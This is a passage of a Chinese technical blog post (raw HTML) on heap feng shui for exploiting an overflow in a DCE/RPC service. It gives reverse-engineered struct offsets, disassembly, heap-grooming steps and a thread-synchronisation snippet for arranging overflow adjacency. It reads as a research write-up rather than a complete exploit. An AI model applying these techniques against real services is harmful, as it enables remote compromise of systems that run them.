none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">dyn fragbuf</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">动态分组缓冲区</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC160</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC170</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">NDR wchar buffer</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">wchar 字符串缓冲区</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC168</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC170</span></p></td></tr></tbody></table><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">三种对象在同一个 glibc size class (0xC170)</span></strong><span leaf="">。这是堆风水的基础——当它们从同一 arena 的 top chunk 分配时，必然相邻。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">结构体逆向</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过反汇编 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rpc__cn_call_start</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rpc__cn_call_ccb_create</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rpc__cn_transmit_buffers</span></code><span leaf=""> 等函数，我们逆向了 call_rep 的关键字段：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">call_rep + 0x0D8: output fragbuf 指针</span></code><br/><code><span leaf="">call_rep + 0x108: 输出缓冲区地址</span></code><br/><code><span leaf="">call_rep + 0x110: 输出缓冲区最大长度</span></code><br/><code><span leaf="">call_rep + 0x118: 输出数据指针</span></code><br/><code><span leaf="">call_rep + 0x120: data_len — 控制是否发送响应及循环次数</span></code><br/><code><span leaf="">call_rep + 0xC0C8: frag_length — 控制 PDU 大小</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">data_len</span></code><span leaf=""> 的初始化代码在两处确认：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="asm"><code><span leaf="">753e5: movl $0x18, 0x120(%r13)   ; call_rep-&gt;data_len = 0x18</span></code><br/><code><span leaf="">7c8b3: movl $0x18, 0x120(%rbx)   ; 同上，不同代码路径</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">fragbuf 结构体通过堆扫描验证（37/40 匹配）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">fragbuf + 0x14: max_data_size = 0xC128 (frag_length)</span></code><br/><code><span leaf="">fragbuf + 0x18: dealloc = rpc__cn_dynfragbuf_free (函数指针)</span></code><br/><code><span leaf="">fragbuf + 0x20: data_p → self + 0x30 (指向数据区)</span></code><br/><code><span leaf="">fragbuf + 0x28: data_size = 0x10 (已读字节数)</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">四、堆风水：一条充满坎坷的路</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">堆风水 (Heap Feng Shui) 是整个利用过程中最困难的部分。我们花了大量时间理解为什么&#34;理论上应该相邻的对象实际上永远不相邻&#34;。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第一个坑：Arena 隔离</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">glibc 的多线程堆管理使用 arena 机制。每个线程绑定一个 arena，不同 arena 的分配互不相邻。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们最初的策略是：喷射 fragbuf（通过 partial BIND），然后发送 overflow 请求。但堆扫描发现 </span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">264 个 fragbuf 没有一个被溢出腐蚀</span></strong><span leaf="">——因为 fragbuf 和 NDR buffer 分别在不同线程处理，使用不同的 arena。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">喷射: 264 个 DYN_FRAGBUF 全部 data_p = self+0x30 (正常值)</span></code><br/><code><span leaf="">溢出: 0 个被腐蚀</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">结论: NDR buffer 和 fragbuf 不在同一个 arena</span></code><br/></pre></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第二个坑：call_rep 是瞬态对象</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">call_rep 在请求处理期间分配，响应发送后立即释放。整个生命周期不到 1 毫秒。即使用 150 个并发连接从 localhost 发送请求，堆扫描也捕获不到活跃的 call_rep——因为它们在扫描运行之前就已经被释放并合并回 top chunk。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第三个坑：中间分配破坏相邻性</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每个 RPC 请求不仅分配 call_rep (0xC170) 和 NDR buffer (0xC170)，还分配：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">output fragbuf (0x1050)——在 call_rep 构造函数中分配</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">memlink (0x20)——每个参数一个</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">data buffer——每个参数一个</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些中间对象插在 call_rep 和 NDR buffer 之间，把它们推开了数千字节。offset=0x6148 根本到不了下一个 call_rep。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">突破：NULL 参数消除中间分配</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键发现：将 params 2-4 设为 NULL 指针（</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ref_ptr = 0</span></code><span leaf="">），NDR 反序列化器不会为它们分配 memlink 和 data buffer。这样每个请求只有：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">[call_rep 0xC170] [output_fragbuf 0x1050] [memlink 0x20] [NDR_buffer 0xC170]</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果 output_fragbuf 从 bins 分配（而不是 top chunk），memlink 从 tcache 分配，那么 top chunk 上只剩：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">[call_rep 0xC170] [NDR_buffer 0xC170] [call_rep 0xC170] [NDR_buffer 0xC170] ...</span></code></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">NDR buffer 和下一个 call_rep 直接相邻！</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">堆 Grooming</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了确保 output_fragbuf (0x1050) 不从 top chunk 分配，我们先做 grooming：</span></p><ol style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: decimal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">打开 60 个连接（创建 60 个 0x1050 的 static fragbuf）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">关闭一半（释放 30 个 0x1050 到 bins）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">另一半保持存活（防止 freed chunk 合并）</span></p></li></ol><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之后新请求的 output_fragbuf 会从 bins 中的 0x1050 空闲 chunk 分配，不占用 top chunk 空间。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">并发：让交错发生</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即使 NULL params + grooming 能让 top chunk 上只有 0xC170 chunk，还需要</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">不同线程的分配交错</span></strong><span leaf="">。这通过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">threading.Barrier</span></code><span leaf=""> 同步实现：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">barrier = threading.Barrier(len(conns), timeout=15)</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">def worker(idx, sock, is_overflow):</span></code><br/><code><span leaf="">    barrier.wait()  # 所有线程同时开始</span></code><br/><code><span leaf="">    sock.sendall(request)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">120 个线程同时发送请求，共享约 16 个 arena。每个 arena 平均 7-8 个线程并发 malloc，在 arena 锁的序列化下交错分配：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">Thread 1: call_rep_1</span></code><br/><code><span leaf="">Thread 5: call_rep_5</span></code><br/><code><span leaf="">Thread 1: NDR_buffer_1 (overflow!)  ← 紧邻 call_rep_5</span></code><br/><code><span 